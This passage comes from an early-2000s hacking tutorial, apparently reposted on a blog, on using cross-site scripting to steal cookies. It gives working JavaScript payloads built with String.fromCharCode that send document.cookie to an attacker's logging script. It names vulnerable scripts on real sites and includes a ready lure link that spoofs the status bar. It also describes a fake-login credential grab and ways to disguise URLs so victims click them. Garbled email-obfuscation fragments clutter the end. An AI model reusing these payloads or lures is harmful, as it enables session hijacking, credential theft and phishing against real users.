choice.&amp;nbsp; Anywhere there is input that is displayed on a  page which other  people may visit (or you can make them visit) there is  an opportunity  to use javascript to steal information.&amp;nbsp; Infact just  today as I am  writing this it was found that lycos and other search  engines are  vulnerable to javascript in website's descriptions and  names, read &lt;a _fcksavedurl="http://slashdot.org/articles/01/07/30/1624209.shtml" href="http://slashdot.org/articles/01/07/30/1624209.shtml"&gt;the slashdot story &lt;/a&gt;for more info.&amp;nbsp; This could lead to 100% clicks for any search your site turns up on ;). &lt;br /&gt;Here is a cert advisory concerning insertion of scripts (javascript, vbscript, etc..) inputted into scripts: &lt;br /&gt;&lt;a _fcksavedurl="http://www.cert.org/advisories/CA-2000-02.html" href="http://www.cert.org/advisories/CA-2000-02.html"&gt;http://www.cert.org/advisories/CA-2000-02.html &lt;/a&gt;&lt;br /&gt;update:  there has been a new advisory for hotmail and other sites which  filter  javascript.&amp;nbsp; The problem lays in css and the use of the  &amp;lt;link&amp;gt;  tag.&amp;nbsp; When the following code is used the linked  javascript will be  executed, making it possible to steal cookies, info,  or redirect users  to a fake login page. &lt;br /&gt;&amp;lt;LINK REL=STYLESHEET TYPE="text/javascript" SRC="script.js"&amp;gt; &lt;br /&gt;put  that in the body, preferably as the first thing.&amp;nbsp; Of course hotmail   patched it days after it was reported, but it stand to show that  hotmail  is not 100% secure and there will still be ways in the future  to get  scriptting executed.&amp;nbsp; Also other web based email, guestbook,  message  boards, etc.. might be vulnerable to this.&amp;nbsp; You can use old  hotmail  exploits on many other scripts that allow input and print them  to a  .html file.&amp;nbsp; I found this vulnerability in a script that  cyberarmy.com  ran for their web based mail, I just did a  &amp;lt;&amp;amp;#115;cript  type="java&amp;amp;#115;cript"&amp;gt; and redirected the  user to a fake login  page.&amp;nbsp; When they logged in with their user and  password it sent them to a  script that wrote their info to a database  and then logged them into  the web based email script again.&amp;nbsp; The script  was made by  solutionscripts, and cyberarmy is no longer vulnerable. &lt;br /&gt;Also note  that normal text field input is not the only way to insert  data into a  script.&amp;nbsp; Hidden fields and environment variables are also  sometimes  vulnerable.&amp;nbsp; Some scripts will filter all the text fields,  but will not  filter the hidden fields, this allows you to insert  javascript or other  nasty things.&amp;nbsp; I won't go to much into that since  it would require a  whole nother tutorial and because writting  javascript isn't the first  thing you would try to exploit with that.&amp;nbsp;  Environment variables that  you can exploit are usually referrer or  user-agent, since those tend to  be the only ones ever written to a  file, they are also the least  filtered input in my experience.&amp;nbsp; It's  much easier to find ways to  insert javascript if you can get ahold of  the source of the script.&amp;nbsp;  There are two easy ways to do this, the  first is to see if the script is  open source, then go download and  review the code for holes.&amp;nbsp; The other  is to look for other  scripts/exploits that allow you to view the source  of other scripts.&amp;nbsp;  So do some research for other exploits in other  scripts (or the  webserver itself).&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;&lt;img _fckanchor="true" _fckfakelement="true" _fckrealelement="2" class="FCK__Anchor" src="http://www.blogger.ba/FCKeditor/editor/images/spacer.gif" /&gt;&lt;/h5&gt;note:  to do this you'll need a little bit of advanced javascript  knowledge,  and some perl/php/asp (or other server side language).&lt;br /&gt;Stealing  cookies can be a dangerous problem for many sites.&amp;nbsp; It all  depends on  how the site sets up it's security.&amp;nbsp; If a site just uses  cookies to  identify users than it could be vulnerable.&amp;nbsp; If you need to  login then  it is almost useless to try and steal cookies.&amp;nbsp; Unless of  course the  username and passwords are stored in the cookie and is not  encrypted.  Sometimes you are allowed access without logging in.&amp;nbsp; We  will pick on &lt;a _fcksavedurl="http://neworder.box.sk/" href="http://neworder.box.sk/" title="http://neworder.box.sk"&gt;http://neworder.box.sk&lt;/a&gt;   since they stold some LI tutorials, even though they are not vuln to   this because you must login to their site and the user password is not   in the cookie.&amp;nbsp; (Lets see if they steal a tutorial which explains how to   exploit a hole in one of their scripts ;)&amp;nbsp;&amp;nbsp; How we will be exploiting   this bug is simple.&amp;nbsp; Luckily cube left us a vulnerable script on the   site to play with. The script is   http://neworder.box.sk/box.php3?prj=neworder&amp;amp;newonly=1&amp;amp;gfx=neworder&amp;amp;txt=what's+new.   &lt;br /&gt;What is vuln about this script?&amp;nbsp; It doesn't escape the inputted   characters that are printed to the page. I told you escaping characters   is important.&amp;nbsp; The script instead relies on a simple &amp;lt;pre&amp;gt; tag to   stop javascript.&amp;nbsp; So the first thing we must do is test and see what   character's (if any) are left unescaped for us to use.&amp;nbsp; After a check   for these characters: ' " ; | &amp;lt; &amp;gt; / and % we find that he does   escape ' and ".&amp;nbsp; If he didn't we could exploit the php script itself and   have total control over the site.&amp;nbsp; I will get to a little trick in a   second where we can get javascript to print out ' and ".&amp;nbsp; But for now we   must stop that &amp;lt;pre&amp;gt; tag.&amp;nbsp; So we end it with a &amp;lt;/pre&amp;gt; then   insert any javascript we would like. &lt;br /&gt;In the first paragraph I said  that javascript is mostly secure, because  it cannot read or write any  files off a users hard drive besides  cookies.&amp;nbsp; Here we will use  javascript to read the user's cookie for  neworder&amp;nbsp; and then use  javascript to send them to a cgi script where we  log their cookie to a  txt file.&amp;nbsp; After this we check the log from the  cgi script and save the  cookie where our browser keeps them.&amp;nbsp; Or we can  get the username and  password from the cookie and login to the site  (neworder doesn't keep  the user's password in the cookie). &lt;br /&gt;So now to print the javascript  that will steal the cookie.&amp;nbsp; What we are  doing is using the script that  prints out unescaped characters to the  page as if it was javascript that  was really on that website.&amp;nbsp; So we  can view and edit user cookies.&amp;nbsp;  There are two main problems we must  overcome.&amp;nbsp; First we need to print a  string without using ' and " since  the .php script on neworder does  escape those characters.&amp;nbsp; How we do  this is by using javascript which  doesn't need ' or " and prints out  any character.&amp;nbsp; This is one way to do  it: &lt;br /&gt;&amp;lt;script type=text/javascript&amp;gt; var u =   String.fromCharCode(0x0068); u %2B= String.fromCharCode(0x0074); u %2B=   String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070); u %2B=   String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F); u  %2B=  String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0073); u  %2B=  String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x0074); u  %2B=  String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x002E); u  %2B=  String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F); u  %2B=  String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F); u  %2B=  String.fromCharCode(0x0061); u %2B= String.fromCharCode(0x002E); u  %2B=  String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067); u  %2B=  String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u  %2B=  document.cookie; document.location.replace(u); //--&amp;gt; &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;We  need to use %2B instead of + because + becomes a space when you go  to  the script.&amp;nbsp; There is probably an easier way of doing this besides  using  fromCharCode, but I couldn't think of any =)&amp;nbsp; The 0x0068 is ascii  for  h.&amp;nbsp; 74 is t.. (You can get an ascii chart from &lt;a _fcksavedurl="http://www.elfqrin.com/docs/hakref/ascii_table.html" href="http://www.elfqrin.com/docs/hakref/ascii_table.html"&gt;http://www.elfqrin.com/docs/hakref/ascii_table.html &lt;/a&gt;): &lt;br /&gt;68=h  74=t 74=t 70=p 3A=: 2F=/ 2F=/ 73=s 69=i 74=t 65=e 2E=. 63=c 6F=o  6D=m  2F=/ 61=a 2E=. 63=c 67=g 69=i 3F=? In other words it makes the var  u  equal to the string &lt;a _fcksavedurl="http://site.com/a.cgi" href="http://site.com/a.cgi" title="http://site.com/a.cgi"&gt;http://site.com/a.cgi&lt;/a&gt;? &lt;br /&gt;All  right, so we got a string in a variable without using ' or ".&amp;nbsp; var u  =  'http://site.com/a.cgi?'; would be the same thing if the script  didn't  filter for ' and ".&amp;nbsp; So now that we got the string going what  should we  do?&amp;nbsp; Well what we are trying to do is get the cookie in a  string and  then send them to a cgi script that logs what's in the  cookie.&amp;nbsp;  document.cookie is the cookie for that site.&amp;nbsp; If there is more  than one  cookie then you have to use a little trickery.&amp;nbsp; &lt;a _fcksavedurl="http://hotwired.lycos.com/webmonkey/98/29/index1a_page11.html?tw=programming" href="http://hotwired.lycos.com/webmonkey/98/29/index1a_page11.html?tw=programming"&gt;try this page &lt;/a&gt;for learning how to handle multiple cookies. Now we need to add the cookie to the end of the url.&amp;nbsp; So: &lt;br /&gt;u %2B= document.cookie; &lt;br /&gt;Wham! Our var u is now: &lt;a _fcksavedurl="http://site.com/a.cgi?user_s_cookie" href="http://site.com/a.cgi?user_s_cookie" title="http://site.com/a.cgi?user_s_cookie"&gt;http://site.com/a.cgi?user_s_cookie&lt;/a&gt; (but user_s_cookie is actually the value in their cookie).&amp;nbsp; So now we make javascript redirect them to that url. &lt;br /&gt;document.location.replace(u); &lt;br /&gt;This  will send them to our var u, where a.cgi will be a cgi script that  just  logs whatever is inputted to it into a database.&amp;nbsp; Another way to  log  their cookie would be to put something like: &lt;br /&gt;&amp;lt;img  src="http://site.com/somedir/(document.cookie)"&amp;gt; But since  this  script filters ' and " it would be a really long url to put   fromCharCode's for every character.. Also, you would have to have access   to the logs of the site in order to check what files were requested   from 'somedir' directory. &lt;br /&gt;All cookie stealing techniques require some kind of script on your website to log the cookie when it is sent as a url. &lt;br /&gt;Once  you have a user's cookie there are 2 things it can be used for.&amp;nbsp;   Sometimes sites put their username and password right in the cookie.&amp;nbsp; In   this case you can just log into the site with that.&amp;nbsp; Some other sites   just simply use a cookie to authenticate users. No login required. &lt;br /&gt;Take for example &lt;a _fcksavedurl="http://www.geocities.com/" href="http://www.geocities.com/"&gt;www.geocities.com &lt;/a&gt;.. If you get a 404 error it will print out the url: &lt;br /&gt;&lt;a _fcksavedurl="http://www.geocities.com/somestrangedir/%3Cscript%20type=text/javascript%3Ealert%28%29;%3C/script%3E" href="http://www.geocities.com/somestrangedir/%3Cscript%20type=text/javascript%3Ealert%28%29;%3C/script%3E"&gt;like this &lt;/a&gt;&lt;br /&gt;now if you have a cookie of a geocities member you can go to &lt;a _fcksavedurl="http://www.geocities.com/" href="http://www.geocities.com/" title="www.geocities.com"&gt;www.geocities.com&lt;/a&gt; and you will automatically be logged in.&amp;nbsp; From there you have full control over their account. &lt;br /&gt;But geocities did do something to stop this. They have their website go to &lt;a _fcksavedurl="http://geocities.yahoo.com/" href="http://geocities.yahoo.com/" title="http://geocities.yahoo.com"&gt;http://geocities.yahoo.com&lt;/a&gt;   .. So the cookie for users is actually a yahoo cookie ;(&amp;nbsp; If you try   the same trick where you go to a 404 file on yahoo it won't print the   &amp;lt; and &amp;gt; characters.&amp;nbsp; But if you were to find a script on yahoo   that printed out &amp;lt; and &amp;gt; you could easily do this =)&amp;nbsp; And there   are scripts on yahoo.com which are vuln to cross site scriptting, a few   have been reported to bugtraq and I found another one. &lt;br /&gt;So how would you get users to visit these urls?&amp;nbsp; Try things like ... &lt;br /&gt;Yeah all you redlite players, check out this hidden pick, funny as hell: &lt;a _fcksavedurl="http://www.redlite.org/signup/signup2.php?username=%3Cscript%20type=text/javascript%3Evar%20u%20=%20String.fromCharCode%280x0068%29;u%20%2B=%20String.fromCharCode%280x0074%29;u%20%2B=%20String.fromCharCode%280x0074%29;u%20%2B=%20String.fromCharCode%280x0070%29;u%20%2B=%20String.fromCharC%20" href="http://www.redlite.org/signup/signup2.php?username=%3Cscript%20type=text/javascript%3Evar%20u%20=%20String.fromCharCode%280x0068%29;u%20%2B=%20String.fromCharCode%280x0074%29;u%20%2B=%20String.fromCharCode%280x0074%29;u%20%2B=%20String.fromCharCode%280x0070%29;u%20%2B=%20String.fromCharC%20"&gt;Check this page out! &lt;/a&gt; Or better yet.. Load it in a frame that is 0% large.&amp;nbsp; The user won't even know what hit them =) &lt;br /&gt;oh, the source for that redlite link is: &lt;br /&gt;&amp;lt;a   href="http://www.redlite.org/signup/signup2.php?username=&amp;lt;script   type=text/javascript&amp;gt;var u = String.fromCharCode(0x0068);u %2B=   String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);u %2B=   String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A);u %2B=   String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F);u %2B=   String.fromCharCode(0x0062);u %2B= String.fromCharCode(0x0030);u %2B=   String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x002E);u %2B=   String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x0072);u %2B=   String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x002F);u %2B=   String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x002E);u %2B=   String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x0068);u %2B=   String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003F);u %2B=   document.cookie;document.location.replace(u);&amp;lt;/script&amp;gt;"   onMouseOver="window.status='http://www.redlite.com/signup2.php?boobs-and-guy';return   true" onMouseOut="window.status='';return true"&amp;gt; Check this page   out! &amp;lt;/a&amp;gt; &lt;br /&gt;notice the: &lt;br /&gt;onMouseOver="window.status='http://www.redlite.com/signup2.php?boobs-and-guy';return true" &lt;br /&gt;and &lt;br /&gt;onMouseOut="window.status='';return true" &lt;br /&gt;at  the end.. This is to trick the user into thinking that the link  leads  somewhere else.&amp;nbsp; Again, using javascript to manipulate what the  user  sees to help trick them. &lt;br /&gt;Another script in the edge engine that is vulnerable to cross site scriptting is board.php, here is the exploit &lt;br /&gt;&lt;a _fcksavedurl="http://www.site.com/board.php?search=" href="http://www.site.com/board.php?search=" title="http://www.site.com/board.php?search="&gt;http://www.site.com/board.php?search=&lt;/a&gt; var u = &lt;br /&gt;String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= &lt;br /&gt;String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0070);u %2B= &lt;br /&gt;String.fromCharCode(0x003A);u %2B= String.fromCharCode(0x002F);u %2B= &lt;br /&gt;String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0062);u %2B= &lt;br /&gt;String.fromCharCode(0x0030);u %2B= String.fromCharCode(0x0067);u %2B= &lt;br /&gt;String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x006F);u %2B= &lt;br /&gt;String.fromCharCode(0x0072);u %2B= String.fromCharCode(0x0067);u %2B= &lt;br /&gt;String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0061);u %2B= &lt;br /&gt;String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0070);u %2B= &lt;br /&gt;String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0070);u %2B= &lt;br /&gt;String.fromCharCode(0x003F);u %2B= &lt;br /&gt;document.cookie;document.location.replace(u); &amp;amp;did=edge0 &lt;br /&gt;sure am glad bsrf doesn't run it ;-) &lt;br /&gt;So  how can a coder stop this vulnerablitiy?&amp;nbsp; I would say never print  user  inputted data back to the user.&amp;nbsp; also filter out &amp;lt;, &amp;gt;, and  pack  all url encoding before filtering input.&amp;nbsp; I found a way to steal  cookies  in the old ikonboard using the profile.cgi, although it wasn't  too big a  deal since there was more serious holes in ikonboard it still  way bad  programming practice to print unfiltered input.&amp;nbsp; Now ikonboard  does not  use profile.cgi, it doesn't print inputted data to the  screen, and it  filters data.&amp;nbsp;&amp;nbsp; Usually web based email scripts are very  vulnerable to  cross site scriptting.. and that holds true for a  vulnerability in  solution script's alais-mail script that I found last  year. &lt;br /&gt;A few other problems with javascript and cookie stealing: &lt;br /&gt;&lt;a _fcksavedurl="http://www.peacefire.org/security/hmattach/" href="http://www.peacefire.org/security/hmattach/"&gt;http://www.peacefire.org/security/hmattach/ &lt;/a&gt;- A hotmail exploit.&amp;nbsp; Since hotmail didn't filter javascript and allowed .html attachments to be viewed and not downloaded. &lt;br /&gt;&lt;a _fcksavedurl="http://www.securityspace.com/exploit/exploit_1b.html" href="http://www.securityspace.com/exploit/exploit_1b.html"&gt;http://www.securityspace.com/exploit/exploit_1b.html &lt;/a&gt;&lt;br /&gt;&lt;a _fcksavedurl="http://www.peacefire.org/security/iecookies/" href="http://www.peacefire.org/security/iecookies/"&gt;http://www.peacefire.org/security/iecookies/ &lt;/a&gt;- Opening the cookie jar, remote cookie viewer.&amp;nbsp; using %2F instead of / makes ie think it's a intranet site. &lt;br /&gt;&lt;a _fcksavedurl="http://homepages.paradise.net.nz/%7Eglineham/cookiemonster.html" href="http://homepages.paradise.net.nz/%7Eglineham/cookiemonster.html"&gt;http://homepages.paradise.net.nz/~glineham/cookiemonster.html &lt;/a&gt;&lt;br /&gt;&lt;a _fcksavedurl="http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp" href="http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp"&gt;http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp &lt;/a&gt;- Actually active scriptting, not javascript. &lt;br /&gt;Then  there is the new about:// and file content reading vulns in ie  that  have been reciently posted to bugtraq.. I plan on discussing these  in  detail when I update this tutorial. &lt;br /&gt;Most people say to me, "but no  one with any clue about security is  going to click on the link which has  javascript to steal cookies" and  this is true. When the plain url is &lt;a _fcksavedurl="http://site.com/vulnscript.cgi" href="http://site.com/vulnscript.cgi" title="http://site.com/vulnscript.cgi"&gt;http://site.com/vulnscript.cgi&lt;/a&gt;?   document.location.relace('http://hacker.com/logger.php?' +   document.cookie); That is why we need to trick them into thinking the   url isn't dangerous. Here is one way: &lt;br /&gt;obscuring urls: &lt;br /&gt;One way of  tricking a user into clicking a link they thought lead  somewhere else  was to use that onmouseover trick to make the url look  like it is  pointting somewhere else. Obviously you cannot use this  while on  protocols that do not support html or that completely block  javascript  and onmouseover. So instead of &lt;a _fcksavedurl="http://site.com/" href="http://site.com/" title="http://site.com"&gt;http://site.com&lt;/a&gt; you can have &lt;a _fcksavedurl="http://127.0.0.1/" href="http://127.0.0.1/" title="http://127.0.0.1"&gt;http://127.0.0.1&lt;/a&gt;   this might not help too much so how about we use alittle trick. When   browsers login to .htaccess directories they can use the following   syntax: &lt;br /&gt;&lt;a _fcksavedurl="http://username:20/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy54606=%27password%27+%27@%27;addy54606=addy54606+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy54606+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy54606%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" href="http://username:20/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy54606=%27password%27+%27@%27;addy54606=addy54606+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy54606+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy54606%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" title="http://username: &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/var prefix='mailto:';var suffix='';var attribs='';var path='hr'+'ef'+'=';var addy85357='password'+'@';addy85357=addy85357+'site'+'.'+'com';document.write('&amp;lt;a '+path+'\''+prefix+addy85357+suffix+'\''+attribs+'&amp;gt;');document.write(addy85357);document.write('&amp;lt;\/a&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;&amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;span style=\'display: none;\'&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;/');document.write('span&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;"&gt;http://username: &lt;/a&gt;&lt;a _fcksavedurl="mailto:password@site.com" href="mailto:password@site.com"&gt;password@site.com&lt;/a&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &lt;/span&gt; &lt;br /&gt;You'll see why this is important in a minute. Without the password you can have things like: &lt;br /&gt;&lt;a _fcksavedurl="http://%20%3cscript%20language=%27javascript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy98882=%27username%27+%27@%27;addy98882=addy98882+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy98882+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy98882%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" href="http://%20%3cscript%20language=%27javascript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy98882=%27username%27+%27@%27;addy98882=addy98882+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy98882+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy98882%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" title="http:// &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/var prefix='mailto:';var suffix='';var attribs='';var path='hr'+'ef'+'=';var addy36134='username'+'@';addy36134=addy36134+'site'+'.'+'com';document.write('&amp;lt;a '+path+'\''+prefix+addy36134+suffix+'\''+attribs+'&amp;gt;');document.write(addy36134);document.write('&amp;lt;\/a&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;&amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;span style=\'display: none;\'&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;/');document.write('span&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;"&gt;http:// &lt;/a&gt;&lt;a _fcksavedurl="mailto:username@site.com" href="mailto:username@site.com"&gt;username@site.com&lt;/a&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &lt;/span&gt; &lt;br /&gt;and  it will work fine. It will try to login to site.com with the  username =  'username' and no password. Now what happends if there is no  .htaccess  file? Then it doesn't matter what the username or password  is, and the  page loads normal. So something like this could be used: &lt;br /&gt;&lt;a _fcksavedurl="http://microsoft.com/site/dir/%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy93513=%27helpdesk.asp%27+%27@%27;addy93513=addy93513+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy93513+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy93513%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" href="http://microsoft.com/site/dir/%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/var%20prefix=%27mailto:%27;var%20suffix=%27%27;var%20attribs=%27%27;var%20path=%27hr%27+%27ef%27+%27=%27;var%20addy93513=%27helpdesk.asp%27+%27@%27;addy93513=addy93513+%27site%27+%27.%27+%27com%27;document.write%28%27%3Ca%20%27+path+%27%5C%27%27+prefix+addy93513+suffix+%27%5C%27%27+attribs+%27%3E%27%29;document.write%28addy93513%29;document.write%28%27%3C%5C/a%3E%27%29;/*%5D%5D%3E*/%3C/script%3E%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%29;/*%5D%5D%3E*/%3C/script%3EThis%20e-mail%20address%20is%20being%20protected%20from%20spambots.%20You%20need%20JavaScript%20enabled%20to%20view%20it%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E/*%3C%21%5BCDATA%5B*/document.write%28%27%3C/%27%29;document.write%28%27span%3E%27%29;/*%5D%5D%3E*/%3C/script%3E" title="http://microsoft.com/site/dir/ &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/var prefix='mailto:';var suffix='';var attribs='';var path='hr'+'ef'+'=';var addy60678='helpdesk.asp'+'@';addy60678=addy60678+'site'+'.'+'com';document.write('&amp;lt;a '+path+'\''+prefix+addy60678+suffix+'\''+attribs+'&amp;gt;');document.write(addy60678);document.write('&amp;lt;\/a&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;&amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;span style=\'display: none;\'&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &amp;lt;script language='JavaScript' type='text/javascript'&amp;gt;/*&amp;lt;![CDATA[*/document.write('&amp;lt;/');document.write('span&amp;gt;');/*]]&amp;gt;*/&amp;lt;/script&amp;gt;"&gt;http://microsoft.com/site/dir/ &lt;/a&gt;&lt;a _fcksavedurl="mailto:helpdesk.asp@site.com" href="mailto:helpdesk.asp@site.com"&gt;helpdesk.asp@site.com&lt;/a&gt;&lt;span style="display: none;"&gt;This e-mail address is being protected from spambots. You need JavaScript enabled to view it &lt;/span&gt; &lt;br /&gt;You  see how this could be used to get people to click on a link  thinking it  leads somewhere else? Even if it is in plain text many  people will  beleive this link goes to microsoft.com. Now that we have a  link lets  obscure it a bit =) &lt;br /&gt;There are many different ways to obscure urls  from users to help aid  you into tricking them. One of them involves  converting ip addresses  into their decimal equivilants. I am not going  to cover this, but there  are plenty of other tutorials on the net where  you can learn. I'll  just let you use this script to automaticly convert  ip addresses to the  decimal value. &lt;br /&gt;IPa IPb IPc IPd = &lt;br /&gt;Now use this instead of site.com and you get something like: &lt;br /&gt;&lt;a _fcksavedurl="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F" href="http://microsoft.com/site/dir/helpdesk.asp@3639550308%2F%61%2E%63%67%69%3F" 